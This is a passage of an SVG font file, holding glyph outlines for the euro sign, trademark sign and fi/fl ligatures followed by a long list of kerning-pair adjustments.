<glyph unicode="&#x20ac;" horiz-adv-x="1157" d="M25 461v198h110v48q0 41 2 61h-112v201h145q66 225 242 359t462 134q122 0 222 -32l-86 -242q-60 16 -136 16q-154 0 -262 -64t-168 -171h467l-45 -201h-483q-2 -20 -2 -61q0 -34 2 -48h451l-41 -198h-355q56 -110 164.5 -175t271.5 -65q85 0 173 31l75 -250 q-116 -35 -248 -35q-154 0 -277 36.5t-208.5 104t-140.5 155.5t-84 198h-139z" />
<glyph unicode="&#x2122;" horiz-adv-x="1511" d="M27 1272v164h585v-164h-196v-434h-195v434h-194zM678 838v600h205l161 -199l162 199h205v-600h-199v178l15 174l-164 -219h-41l-160 219l15 -174v-178h-199z" />
<glyph unicode="&#xe000;" horiz-adv-x="1013" d="M0 0v1014h1014v-1014h-1014z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1163" d="M-8 797v213h188v53q0 138 76 236.5t192 137.5t260 23t273 -92l-92 -186q-108 66 -215.5 73t-175.5 -45t-68 -147v-53h531v-1010h-250v797h-281v-797h-250v797h-188z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1167" d="M-12 776v219h176v68q0 98 31.5 175t85.5 124t122 71.5t146 24.5q105 0 189 -22q113 -29 225 -95v-1341h-248v1223q-68 37 -150 37q-66 0 -108.5 -53.5t-42.5 -143.5v-68h215v-219h-215v-776h-250v776h-176z" />
<hkern u1="&#x22;" u2="&#x178;" k="-31" />
<hkern u1="&#x22;" u2="&#xeb;" k="-31" />
<hkern u1="&#x22;" u2="&#xea;" k="-31" />
<hkern u1="&#x22;" u2="&#xe9;" k="-31" />
<hkern u1="&#x22;" u2="&#xe8;" k="-31" />
<hkern u1="&#x22;" u2="&#xe6;" k="96" />
<hkern u1="&#x22;" u2="&#xe5;" k="96" />
<hkern u1="&#x22;" u2="&#xe4;" k="96" />
<hkern u1="&#x22;" u2="&#xe3;" k="96" />
<hkern u1="&#x22;" u2="&#xe2;" k="96" />
<hkern u1="&#x22;" u2="&#xe1;" k="96" />
<hkern u1="&#x22;" u2="&#xe0;" k="96" />
<hkern u1="&#x22;" u2="&#xdd;" k="-31" />
<hkern u1="&#x22;" u2="&#xc7;" k="-33" />
<hkern u1="&#x22;" u2="&#xc6;" k="96" />
<hkern u1="&#x22;" u2="&#xc5;" k="96" />
<hkern u1="&#x22;" u2="&#xc4;" k="96" />
<hkern u1="&#x22;" u2="&#xc3;" k="96" />
<hkern u1="&#x22;" u2="&#xc2;" k="96" />
<hkern u1="&#x22;" u2="&#xc1;" k="96" />
<hkern u1="&#x22;" u2="&#xc0;" k="96" />
<hkern u1="&#x22;" u2="t" k="-33" />
<hkern u1="&#x22;" u2="r" k="-31" />
<hkern u1="&#x22;" u2="p" k="-33" />
<hkern u1="&#x22;" u2="l" k="-31" />
<hkern u1="&#x22;" u2="h" k="-33" />
<hkern u1="&#x22;" u2="f" k="-33" />
<hkern u1="&#x22;" u2="e" k="-31" />
<hkern u1="&#x22;" u2="b" k="-31" />
<hkern u1="&#x22;" u2="a" k="96" />
<hkern u1="&#x22;" u2="Z" k="14" />
<hkern u1="&#x22;" u2="Y" k="-31" />
<hkern u1="&#x22;" u2="T" k="-31" />
<hkern u1="&#x22;" u2="M" k="-33" />
<hkern u1="&#x22;" u2="J" k="63" />
<hkern u1="&#x22;" u2="C" k="-33" />
<hkern u1="&#x22;" u2="B" k="-31" />
<hkern u1="&#x22;" u2="A" k="96" />
<hkern u1="&#x23;" u2="&#x39;" k="-66" />
<hkern u1="&#x23;" u2="&#x35;" k="-49" />
<hkern u1="&#x23;" u2="&#x32;" k="-31" />
<hkern u1="&#x23;" u2="&#x31;" k="-31" />
<hkern u1="&#x23;" u2="&#x30;" k="-31" />
<hkern u1="&#x24;" u2="&#x38;" k="-31" />
<hkern u1="&#x24;" u2="&#x36;" k="-33" />
<hkern u1="&#x25;" u2="&#x38;" k="-33" />
<hkern u1="&#x25;" u2="&#x36;" k="-49" />
<hkern u1="&#x25;" u2="&#x35;" k="-31" />
<hkern u1="&#x25;" u2="&#x32;" k="-33" />
<hkern u1="&#x25;" u2="&#x31;" k="66" />
<hkern u1="&#x26;" u2="&#x178;" k="303" />
<hkern u1="&#x26;" u2="&#x153;" k="96" />
<hkern u1="&#x26;" u2="&#x152;" k="49" />
<hkern u1="&#x26;" u2="&#xff;" k="270" />
<hkern u1="&#x26;" u2="&#xfd;" k="270" />
<hkern u1="&#x26;" u2="&#xfc;" k="31" />
<hkern u1="&#x26;" u2="&#xfb;" k="31" />
<hkern u1="&#x26;" u2="&#xfa;" k="31" />
<hkern u1="&#x26;" u2="&#xf9;" k="31" />
<hkern u1="&#x26;" u2="&#xf8;" k="96" />
<hkern u1="&#x26;" u2="&#xf6;" k="96" />
<hkern u1="&#x26;" u2="&#xf5;" k="96" />
<hkern u1="&#x26;" u2="&#xf4;" k="96" />
<hkern u1="&#x26;" u2="&#xf3;" k="96" />
<hkern u1="&#x26;" u2="&#xf2;" k="96" />
<hkern u1="&#x26;" u2="&#xe7;" k="66" />
<hkern u1="&#x26;" u2="&#xe6;" k="-47" />
<hkern u1="&#x26;" u2="&#xe5;" k="-47" />
<hkern u1="&#x26;" u2="&#xe4;" k="-47" />
<hkern u1="&#x26;" u2="&#xe3;" k="-47" />
<hkern u1="&#x26;" u2="&#xe2;" k="-47" />
<hkern u1="&#x26;" u2="&#xe1;" k="-47" />
<hkern u1="&#x26;" u2="&#xe0;" k="-47" />
<hkern u1="&#x26;" u2="&#xdd;" k="303" />
<hkern u1="&#x26;" u2="&#xdc;" k="209" />
<hkern u1="&#x26;" u2="&#xdb;" k="209" />
<hkern u1="&#x26;" u2="&#xda;" k="209" />
<hkern u1="&#x26;" u2="&#xd9;" k="209" />
<hkern u1="&#x26;" u2="&#xd8;" k="49" />
<hkern u1="&#x26;" u2="&#xd6;" k="49" />
<hkern u1="&#x26;" u2="&#xd5;" k="49" />
<hkern u1="&#x26;" u2="&#xd4;" k="49" />
<hkern u1="&#x26;" u2="&#xd3;" k="49" />
<hkern u1="&#x26;" u2="&#xd2;" k="49" />
<hkern u1="&#x26;" u2="&#xcb;" k="-80" />
<hkern u1="&#x26;" u2="&#xca;" k="-80" />
<hkern u1="&#x26;" u2="&#xc9;" k="-80" />
<hkern u1="&#x26;" u2="&#xc8;" k="-80" />
<hkern u1="&#x26;" u2="&#xc7;" k="66" />
<hkern u1="&#x26;" u2="z" k="16" />
<hkern u1="&#x26;" u2="y" k="270" />
<hkern u1="&#x26;" u2="x" k="-16" />
<hkern u1="&#x26;" u2="w" k="193" />
<hkern u1="&#x26;" u2="v" k="176" />
<hkern u1="&#x26;" u2="u" k="31" />
<hkern u1="&#x26;" u2="t" k="242" />
<hkern u1="&#x26;" u2="s" k="31" />
<hkern u1="&#x26;" u2="q" k="80" />
<hkern u1="&#x26;" u2="o" k="96" />
<hkern u1="&#x26;" u2="j" k="-47" />
<hkern u1="&#x26;" u2="g" k="63" />
<hkern u1="&#x26;" u2="d" k="-16" />
<hkern u1="&#x26;" u2="c" k="66" />
<hkern u1="&#x26;" u2="b" k="-16" />
<hkern u1="&#x26;" u2="a" k="-47" />
<hkern u1="&#x26;" u2="Y" k="303" />
<hkern u1="&#x26;" u2="W" k="207" />
<hkern u1="&#x26;" u2="V" k="-33" />
<hkern u1="&#x26;" u2="U" k="209" />
<hkern u1="&#x26;" u2="T" k="256" />
<hkern u1="&#x26;" u2="S" k="145" />
<hkern u1="&#x26;" u2="R" k="176" />
<hkern u1="&#x26;" u2="Q" k="47" />
<hkern u1="&#x26;" u2="P" k="209" />
<hkern u1="&#x26;" u2="O" k="49" />
<hkern u1="&#x26;" u2="F" k="-47" />
<hkern u1="&#x26;" u2="E" k="-80" />
<hkern u1="&#x26;" u2="C" k="66" />
<hkern u1="&#x26;" u2="B" k="-16" />
<hkern u1="&#x26;" u2="&#x39;" k="113" />
<hkern u1="&#x26;" u2="&#x38;" k="31" />
<hkern u1="&#x26;" u2="&#x35;" k="16" />
<hkern u1="&#x26;" u2="&#x34;" k="47" />
<hkern u1="&#x26;" u2="&#x32;" k="-33" />
<hkern u1="&#x26;" u2="&#x31;" k="190" />
<hkern u1="&#x26;" u2="&#x30;" k="47" />
<hkern u1="&#x27;" u2="t" k="-43" />
<hkern u1="&#x2c;" u2="&#xef;" k="-33" />
<hkern u1="&#x2c;" u2="&#xee;" k="-33" />
<hkern u1="&#x2c;" u2="&#xed;" k="-33" />
<hkern u1="&#x2c;" u2="&#xec;" k="-33" />
<hkern u1="&#x2c;" u2="&#xeb;" k="-47" />
<hkern u1="&#x2c;" u2="&#xea;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe9;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe8;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe7;" k="33" />
<hkern u1="&#x2c;" u2="&#xe6;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe5;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe4;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe3;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe2;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe1;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe0;" k="-47" />
<hkern u1="&#x2c;" u2="z" k="-49" />
<hkern u1="&#x2c;" u2="m" k="-31" />
<hkern u1="&#x2c;" u2="l" k="-33" />
<hkern u1="&#x2c;" u2="k" k="-47" />
<hkern u1="&#x2c;" u2="j" k="-80" />
<hkern u1="&#x2c;" u2="i" k="-33" />
<hkern u1="&#x2c;" u2="h" k="-16" />
<hkern u1="&#x2c;" u2="e" k="-47" />
<hkern u1="&#x2c;" u2="d" k="-47" />
<hkern u1="&#x2c;" u2="c" k="33" />
<hkern u1="&#x2c;" u2="a" k="-47" />
<hkern u1="&#x2c;" u2="Z" k="-63" />
<hkern u1="&#x2c;" u2="V" k="-31" />
<hkern u1="&#x2c;" u2="H" k="-31" />
<hkern u1="&#x2e;" u2="&#x178;" k="240" />
<hkern u1="&#x2e;" u2="&#x153;" k="63" />
<hkern u1="&#x2e;" u2="&#xff;" k="225" />
<hkern u1="&#x2e;" u2="&#xfd;" k="225" />
<hkern u1="&#x2e;" u2="&#xf8;" k="63" />
<hkern u1="&#x2e;" u2="&#xf6;" k="63" />
<hkern u1="&#x2e;" u2="&#xf5;" k="63" />
<hkern u1="&#x2e;" u2="&#xf4;" k="63" />
<hkern u1="&#x2e;" u2="&#xf3;" k="63" />
<hkern u1="&#x2e;" u2="&#xf2;" k="63" />
<hkern u1="&#x2e;" u2="&#xeb;" k="-33" />
<hkern u1="&#x2e;" u2="&#xea;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe9;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe8;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe7;" k="31" />
<hkern u1="&#x2e;" u2="&#xe6;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe5;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe4;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe3;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe2;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe1;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe0;" k="-49" />
<hkern u1="&#x2e;" u2="&#xdd;" k="240" />
<hkern u1="&#x2e;" u2="&#xc7;" k="47" />
<hkern u1="&#x2e;" u2="z" k="-49" />
<hkern u1="&#x2e;" u2="y" k="225" />
<hkern u1="&#x2e;" u2="x" k="-33" />
<hkern u1="&#x2e;" u2="w" k="66" />
<hkern u1="&#x2e;" u2="v" k="176" />
<hkern u1="&#x2e;" u2="t" k="160" />
<hkern u1="&#x2e;" u2="q" k="47" />
<hkern u1="&#x2e;" u2="p" k="-63" />
<hkern u1="&#x2e;" u2="o" k="63" />
<hkern u1="&#x2e;" u2="l" k="-66" />
<hkern u1="&#x2e;" u2="k" k="-47" />
<hkern u1="&#x2e;" u2="j" k="-63" />
<hkern u1="&#x2e;" u2="h" k="-47" />
<hkern u1="&#x2e;" u2="g" k="33" />
<hkern u1="&#x2e;" u2="e" k="-33" />
<hkern u1="&#x2e;" u2="d" k="-49" />
<hkern u1="&#x2e;" u2="c" k="31" />
<hkern u1="&#x2e;" u2="b" k="-47" />
<hkern u1="&#x2e;" u2="a" k="-49" />
<hkern u1="&#x2e;" u2="Z" k="-80" />
<hkern u1="&#x2e;" u2="Y" k="240" />
<hkern u1="&#x2e;" u2="V" k="-47" />
<hkern u1="&#x2e;" u2="T" k="143" />
<hkern u1="&#x2e;" u2="C" k="47" />
<hkern u1="&#x2e;" u2="B" k="-47" />
<hkern u1="&#x2f;" u2="&#x178;" k="-96" />
<hkern u1="&#x2f;" u2="&#x153;" k="16" />
<hkern u1="&#x2f;" u2="&#xff;" k="-113" />
<hkern u1="&#x2f;" u2="&#xfd;" k="-113" />
<hkern u1="&#x2f;" u2="&#xfc;" k="-80" />
<hkern u1="&#x2f;" u2="&#xfb;" k="-80" />
<hkern u1="&#x2f;" u2="&#xfa;" k="-80" />
<hkern u1="&#x2f;" u2="&#xf9;" k="-80" />
<hkern u1="&#x2f;" u2="&#xf8;" k="16" />
<hkern u1="&#x2f;" u2="&#xf6;" k="16" />
<hkern u1="&#x2f;" u2="&#xf5;" k="16" />
<hkern u1="&#x2f;" u2="&#xf4;" k="16" />
<hkern u1="&#x2f;" u2="&#xf3;" k="16" />
<hkern u1="&#x2f;" u2="&#xf2;" k="16" />
<hkern u1="&#x2f;" u2="&#xef;" k="-66" />
<hkern u1="&#x2f;" u2="&#xee;" k="-66" />
<hkern u1="&#x2f;" u2="&#xed;" k="-66" />
<hkern u1="&#x2f;" u2="&#xec;" k="-66" />
<hkern u1="&#x2f;" u2="&#xeb;" k="-63" />
<hkern u1="&#x2f;" u2="&#xea;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe9;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe8;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe7;" k="16" />
<hkern u1="&#x2f;" u2="&#xe6;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe5;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe4;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe3;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe2;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe1;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe0;" k="-113" />
<hkern u1="&#x2f;" u2="&#xdd;" k="-96" />
<hkern u1="&#x2f;" u2="&#xdc;" k="-96" />
<hkern u1="&#x2f;" u2="&#xdb;" k="-96" />
<hkern u1="&#x2f;" u2="&#xda;" k="-96" />
<hkern u1="&#x2f;" u2="&#xd9;" k="-96" />
<hkern u1="&#x2f;" u2="&#xc6;" k="129" />
<hkern u1="&#x2f;" u2="&#xc5;" k="129" />
<hkern u1="&#x2f;" u2="&#xc4;" k="129" />
<hkern u1="&#x2f;" u2="&#xc3;" k="129" />
<hkern u1="&#x2f;" u2="&#xc2;" k="129" />
<hkern u1="&#x2f;" u2="&#xc1;" k="129" />
<hkern u1="&#x2f;" u2="&#xc0;" k="129" />
<hkern u1="&#x2f;" u2="z" k="-80" />
<hkern u1="&#x2f;" u2="y" k="-113" />
<hkern u1="&#x2f;" u2="x" k="-63" />
<hkern u1="&#x2f;" u2="w" k="-113" />
<hkern u1="&#x2f;" u2="v" k="-80" />
<hkern u1="&#x2f;" u2="u" k="-80" />
<hkern u1="&#x2f;" u2="t" k="-113" />
<hkern u1="&#x2f;" u2="q" k="33" />
<hkern u1="&#x2f;" u2="p" k="-63" />
<hkern u1="&#x2f;" u2="o" k="16" />
<hkern u1="&#x2f;" u2="m" k="-49" />
<hkern u1="&#x2f;" u2="l" k="-66" />
<hkern u1="&#x2f;" u2="k" k="-80" />
<hkern u1="&#x2f;" u2="i" k="-66" />
<hkern u1="&#x2f;" u2="h" k="-63" />
<hkern u1="&#x2f;" u2="g" k="-16" />
<hkern u1="&#x2f;" u2="f" k="-47" />
<hkern u1="&#x2f;" u2="e" k="-63" />
<hkern u1="&#x2f;" u2="d" k="-113" />
<hkern u1="&#x2f;" u2="c" k="16" />
<hkern u1="&#x2f;" u2="b" k="-80" />
<hkern u1="&#x2f;" u2="a" k="-113" />
<hkern u1="&#x2f;" u2="Z" k="-47" />
<hkern u1="&#x2f;" u2="Y" k="-96" />
<hkern u1="&#x2f;" u2="X" k="-80" />
<hkern u1="&#x2f;" u2="W" k="-80" />
<hkern u1="&#x2f;" u2="V" k="-96" />
<hkern u1="&#x2f;" u2="U" k="-96" />
<hkern u1="&#x2f;" u2="T" k="-80" />
<hkern u1="&#x2f;" u2="M" k="-96" />
<hkern u1="&#x2f;" u2="B" k="-96" />
<hkern u1="&#x2f;" u2="A" k="129" />
<hkern u1="&#x30;" u2="&#x37;" k="106" />
<hkern u1="&#x30;" u2="&#x36;" k="-43" />
<hkern u1="&#x30;" u2="&#x35;" k="-20" />
<hkern u1="&#x30;" u2="&#x33;" k="-20" />
<hkern u1="&#x30;" u2="&#x32;" k="63" />
<hkern u1="&#x31;" u2="&#x39;" k="-43" />
<hkern u1="&#x31;" u2="&#x38;" k="-43" />
<hkern u1="&#x31;" u2="&#x36;" k="-63" />
<hkern u1="&#x31;" u2="&#x35;" k="-43" />
<hkern u1="&#x31;" u2="&#x34;" k="-23" />
<hkern u1="&#x31;" u2="&#x33;" k="-43" />
<hkern u1="&#x31;" u2="&#x32;" k="-20" />
<hkern u1="&#x32;" u2="&#x37;" k="63" />
<hkern u1="&#x32;" u2="&#x35;" k="20" />
<hkern u1="&#x32;" u2="&#x34;" k="63" />
<hkern u1="&#x33;" u2="&#x39;" k="43" />
<hkern u1="&#x33;" u2="&#x37;" k="86" />
<hkern u1="&#x34;" u2="&#x38;" k="-43" />
<hkern u1="&#x34;" u2="&#x37;" k="106" />
<hkern u1="&#x35;" u2="&#x39;" k="63" />
<hkern u1="&#x35;" u2="&#x37;" k="106" />
<hkern u1="&#x36;" u2="&#x38;" k="-20" />
<hkern u1="&#x36;" u2="&#x37;" k="106" />
<hkern u1="&#x37;" u2="&#x39;" k="20" />
<hkern u1="&#x37;" u2="&#x38;" k="66" />
<hkern u1="&#x3a;" u2="&#xff;" k="96" />
<hkern u1="&#x3a;" u2="&#xfd;" k="96" />
<hkern u1="&#x3a;" u2="&#xfc;" k="-49" />
<hkern u1="&#x3a;" u2="&#xfb;" k="-49" />
<hkern u1="&#x3a;" u2="&#xfa;" k="-49" />
<hkern u1="&#x3a;" u2="&#xf9;" k="-49" />
<hkern u1="&#x3a;" u2="&#xdc;" k="-63" />
<hkern u1="&#x3a;" u2="&#xdb;" k="-63" />
<hkern u1="&#x3a;" u2="&#xda;" k="-63" />
<hkern u1="&#x3a;" u2="&#xd9;" k="-63" />
<hkern u1="&#x3a;" u2="y" k="96" />
<hkern u1="&#x3a;" u2="v" k="47" />
<hkern u1="&#x3a;" u2="u" k="-49" />
<hkern u1="&#x3a;" u2="s" k="-63" />
<hkern u1="&#x3a;" u2="g" k="-33" />
<hkern u1="&#x3a;" u2="Z" k="-63" />
<hkern u1="&#x3a;" u2="U" k="-63" />
<hkern u1="&#x3b;" u2="&#xff;" k="63" />
<hkern u1="&#x3b;" u2="&#xfd;" k="63" />
<hkern u1="&#x3b;" u2="&#xcb;" k="-63" />
<hkern u1="&#x3b;" u2="&#xca;" k="-63" />
<hkern u1="&#x3b;" u2="&#xc9;" k="-63" />
<hkern u1="&#x3b;" u2="&#xc8;" k="-63" />
<hkern u1="&#x3b;" u2="y" k="63" />
<hkern u1="&#x3b;" u2="g" k="-47" />
<hkern u1="&#x3b;" u2="V" k="-96" />
<hkern u1="&#x3b;" u2="T" k="-80" />
<hkern u1="&#x3b;" u2="Q" k="-63" />
<hkern u1="&#x3b;" u2="E" k="-63" />
<hkern u1="&#x3f;" u2="&#xe6;" k="96" />
<hkern u1="&#x3f;" u2="&#xe5;" k="96" />
<hkern u1="&#x3f;" u2="&#xe4;" k="96" />
<hkern u1="&#x3f;" u2="&#xe3;" k="96" />
<hkern u1="&#x3f;" u2="&#xe2;" k="96" />
<hkern u1="&#x3f;" u2="&#xe1;" k="96" />
<hkern u1="&#x3f;" u2="&#xe0;" k="96" />
<hkern u1="&#x3f;" u2="a" k="96" />
<hkern u1="&#x3f;" u2="J" k="80" />
<hkern u1="&#x3f;" u2="B" k="-33" />
<hkern u1="&#x40;" u2="&#xff;" k="14" />
<hkern u1="&#x40;" u2="&#xfd;" k="14" />
<hkern u1="&#x40;" u2="&#xf1;" k="-31" />
<hkern u1="&#x40;" u2="&#xe6;" k="63" />
<hkern u1="&#x40;" u2="&#xe5;" k="63" />
<hkern u1="&#x40;" u2="&#xe4;" k="63" />
<hkern u1="&#x40;" u2="&#xe3;" k="63" />
<hkern u1="&#x40;" u2="&#xe2;" k="63" />
<hkern u1="&#x40;" u2="&#xe1;" k="63" />
<hkern u1="&#x40;" u2="&#xe0;" k="63" />
<hkern u1="&#x40;" u2="&#xdc;" k="47" />
<hkern u1="&#x40;" u2="&#xdb;" k="47" />
<hkern u1="&#x40;" u2="&#xda;" k="47" />
<hkern u1="&#x40;" u2="&#xd9;" k="47" />
<hkern u1="&#x40;" u2="y" k="14" />
<hkern u1="&#x40;" u2="r" k="-80" />
<hkern u1="&#x40;" u2="p" k="-47" />
<hkern u1="&#x40;" u2="n" k="-31" />
<hkern u1="&#x40;" u2="j" k="96" />
<hkern u1="&#x40;" u2="g" k="80" />
<hkern u1="&#x40;" u2="a" k="63" />
<hkern u1="&#x40;" u2="V" k="63" />
<hkern u1="&#x40;" u2="U" k="47" />
<hkern u1="&#x40;" u2="T" k="47" />
<hkern u1="&#x40;" u2="R" k="16" />
<hkern u1="&#x40;" u2="P" k="63" />
<hkern u1="&#x40;" u2="F" k="80" />
<hkern u1="A" u2="x" k="-66" />
<hkern u1="A" u2="w" k="106" />
<hkern u1="A" u2="v" k="106" />
<hkern u1="A" u2="t" k="84" />
<hkern u1="A" u2="q" k="41" />
<hkern u1="A" u2="g" k="-43" />
<hkern u1="A" u2="f" k="41" />
<hkern u1="A" u2="d" k="43" />
<hkern u1="A" u2="W" k="190" />
<hkern u1="A" u2="V" k="213" />
<hkern u1="A" u2="T" k="213" />
<hkern u1="A" u2="R" k="-20" />
<hkern u1="A" u2="Q" k="43" />
<hkern u1="A" u2="J" k="86" />
<hkern u1="A" u2="G" k="43" />
<hkern u1="B" u2="&#x178;" k="86" />
<hkern u1="B" u2="&#x152;" k="-23" />
<hkern u1="B" u2="&#xde;" k="-41" />
<hkern u1="B" u2="&#xdd;" k="86" />
<hkern u1="B" u2="&#xd8;" k="-23" />
<hkern u1="B" u2="&#xd6;" k="-23" />
<hkern u1="B" u2="&#xd5;" k="-23" />
<hkern u1="B" u2="&#xd4;" k="-23" />
<hkern u1="B" u2="&#xd3;" k="-23" />
<hkern u1="B" u2="&#xd2;" k="-23" />
<hkern u1="B" u2="v" k="20" />
<hkern u1="B" u2="h" k="-20" />
<hkern u1="B" u2="g" k="-20" />
<hkern u1="B" u2="Y" k="86" />
<hkern u1="B" u2="W" k="86" />
<hkern u1="B" u2="V" k="63" />
<hkern u1="B" u2="S" k="-43" />
<hkern u1="B" u2="Q" k="-43" />
<hkern u1="B" u2="O" k="-23" />
<hkern u1="B" u2="J" k="-43" />
<hkern u1="B" u2="G" k="-23" />
<hkern u1="B" u2="D" k="-41" />
<hkern u1="C" u2="w" k="-43" />
<hkern u1="C" u2="t" k="-43" />
<hkern u1="C" u2="m" k="-43" />
<hkern u1="C" u2="h" k="-43" />
<hkern u1="C" u2="g" k="-20" />
<hkern u1="C" u2="T" k="-43" />
<hkern u1="C" u2="R" k="-63" />
<hkern u1="C" u2="P" k="-43" />
<hkern u1="C" u2="M" k="-43" />
<hkern u1="C" u2="K" k="-66" />
<hkern u1="C" u2="H" k="-63" />
<hkern u1="D" u2="w" k="-43" />
<hkern u1="D" u2="m" k="-43" />
<hkern u1="D" u2="j" k="-43" />
<hkern u1="D" u2="h" k="-20" />
<hkern u1="D" u2="X" k="106" />
<hkern u1="D" u2="W" k="63" />
<hkern u1="D" u2="V" k="20" />
<hkern u1="D" u2="T" k="63" />
<hkern u1="D" u2="Q" k="-43" />
<hkern u1="D" u2="F" k="-43" />
<hkern u1="E" u2="x" k="-43" />
<hkern u1="E" u2="j" k="-84" />
<hkern u1="E" u2="W" k="-20" />
<hkern u1="E" u2="V" k="-23" />
<hkern u1="E" u2="T" k="-84" />
<hkern u1="E" u2="J" k="-23" />
<hkern u1="F" u2="&#x178;" k="-63" />
<hkern u1="F" u2="&#x152;" k="-43" />
<hkern u1="F" u2="&#xdd;" k="-63" />
<hkern u1="F" u2="&#xd8;" k="-43" />
<hkern u1="F" u2="&#xd6;" k="-43" />
<hkern u1="F" u2="&#xd5;" k="-43" />
<hkern u1="F" u2="&#xd4;" k="-43" />
<hkern u1="F" u2="&#xd3;" k="-43" />
<hkern u1="F" u2="&#xd2;" k="-43" />
<hkern u1="F" u2="&#xcf;" k="-20" />
<hkern u1="F" u2="&#xce;" k="-20" />
<hkern u1="F" u2="&#xcd;" k="-20" />
<hkern u1="F" u2="&#xcc;" k="-20" />
<hkern u1="F" u2="f" k="-43" />
<hkern u1="F" u2="Y" k="-63" />
<hkern u1="F" u2="V" k="-63" />
<hkern u1="F" u2="T" k="-63" />
<hkern u1="F" u2="O" k="-43" />
<hkern u1="F" u2="I" k="-20" />
<hkern u1="F" u2="G" k="-43" />
<hkern u1="G" u2="&#x178;" k="86" />
<hkern u1="G" u2="&#xff;" k="20" />
<hkern u1="G" u2="&#xfd;" k="20" />
<hkern u1="G" u2="&#xeb;" k="-23" />
<hkern u1="G" u2="&#xea;" k="-23" />
<hkern u1="G" u2="&#xe9;" k="-23" />
<hkern u1="G" u2="&#xe8;" k="-23" />
<hkern u1="G" u2="&#xdd;" k="86" />
<hkern u1="G" u2="y" k="20" />
<hkern u1="G" u2="e" k="-23" />
<hkern u1="G" u2="Y" k="86" />
<hkern u1="G" u2="W" k="84" />
<hkern u1="G" u2="V" k="63" />
<hkern u1="G" u2="T" k="86" />
<hkern u1="G" u2="R" k="20" />
<hkern u1="I" u2="W" k="-43" />
<hkern u1="I" u2="T" k="-66" />
<hkern u1="I" u2="J" k="-20" />
<hkern u1="J" u2="&#x153;" k="20" />
<hkern u1="J" u2="&#xfc;" k="23" />
<hkern u1="J" u2="&#xfb;" k="23" />
<hkern u1="J" u2="&#xfa;" k="23" />
<hkern u1="J" u2="&#xf9;" k="23" />
<hkern u1="J" u2="&#xf8;" k="20" />
<hkern u1="J" u2="&#xf6;" k="20" />
<hkern u1="J" u2="&#xf5;" k="20" />
<hkern u1="J" u2="&#xf4;" k="20" />
<hkern u1="J" u2="&#xf3;" k="20" />
<hkern u1="J" u2="&#xf2;" k="20" />
<hkern u1="J" u2="&#xf1;" k="20" />
<hkern u1="J" u2="&#xeb;" k="20" />
<hkern u1="J" u2="&#xea;" k="20" />
<hkern u1="J" u2="&#xe9;" k="20" />
<hkern u1="J" u2="&#xe8;" k="20" />
<hkern u1="J" u2="&#xe6;" k="43" />
<hkern u1="J" u2="&#xe5;" k="43" />
<hkern u1="J" u2="&#xe4;" k="43" />
<hkern u1="J" u2="&#xe3;" k="43" />
<hkern u1="J" u2="&#xe2;" k="43" />
<hkern u1="J" u2="&#xe1;" k="43" />
<hkern u1="J" u2="&#xe0;" k="43" />
<hkern u1="J" u2="u" k="23" />
<hkern u1="J" u2="o" k="20" />
<hkern u1="J" u2="n" k="20" />
<hkern u1="J" u2="j" k="41" />
<hkern u1="J" u2="g" k="41" />
<hkern u1="J" u2="e" k="20" />
<hkern u1="J" u2="a" k="43" />
<hkern u1="J" u2="X" k="84" />
<hkern u1="K" u2="&#x153;" k="86" />
<hkern u1="K" u2="&#x152;" k="127" />
<hkern u1="K" u2="&#xff;" k="86" />
<hkern u1="K" u2="&#xfd;" k="86" />
<hkern u1="K" u2="&#xfc;" k="66" />
<hkern u1="K" u2="&#xfb;" k="66" />
<hkern u1="K" u2="&#xfa;" k="66" />
<hkern u1="K" u2="&#xf9;" k="66" />
<hkern u1="K" u2="&#xf8;" k="86" />
<hkern u1="K" u2="&#xf6;" k="86" />
<hkern u1="K" u2="&#xf5;" k="86" />
<hkern u1="K" u2="&#xf4;" k="86" />
<hkern u1="K" u2="&#xf3;" k="86" />
<hkern u1="K" u2="&#xf2;" k="86" />
<hkern u1="K" u2="&#xf1;" k="43" />
<hkern u1="K" u2="&#xeb;" k="63" />
<hkern u1="K" u2="&#xea;" k="63" />
<hkern u1="K" u2="&#xe9;" k="63" />
<hkern u1="K" u2="&#xe8;" k="63" />
<hkern u1="K" u2="&#xe7;" k="63" />
<hkern u1="K" u2="&#xe6;" k="41" />
<hkern u1="K" u2="&#xe5;" k="41" />
<hkern u1="K" u2="&#xe4;" k="41" />
<hkern u1="K" u2="&#xe3;" k="41" />
<hkern u1="K" u2="&#xe2;" k="41" />
<hkern u1="K" u2="&#xe1;" k="41" />
<hkern u1="K" u2="&#xe0;" k="41" />
<hkern u1="K" u2="&#xdc;" k="66" />
<hkern u1="K" u2="&#xdb;" k="66" />
<hkern u1="K" u2="&#xda;" k="66" />
<hkern u1="K" u2="&#xd9;" k="66" />
<hkern u1="K" u2="&#xd8;" k="127" />
<hkern u1="K" u2="&#xd6;" k="127" />
<hkern u1="K" u2="&#xd5;" k="127" />
<hkern u1="K" u2="&#xd4;" k="127" />
<hkern u1="K" u2="&#xd3;" k="127" />
<hkern u1="K" u2="&#xd2;" k="127" />
<hkern u1="K" u2="z" k="43" />
<hkern u1="K" u2="y" k="86" />
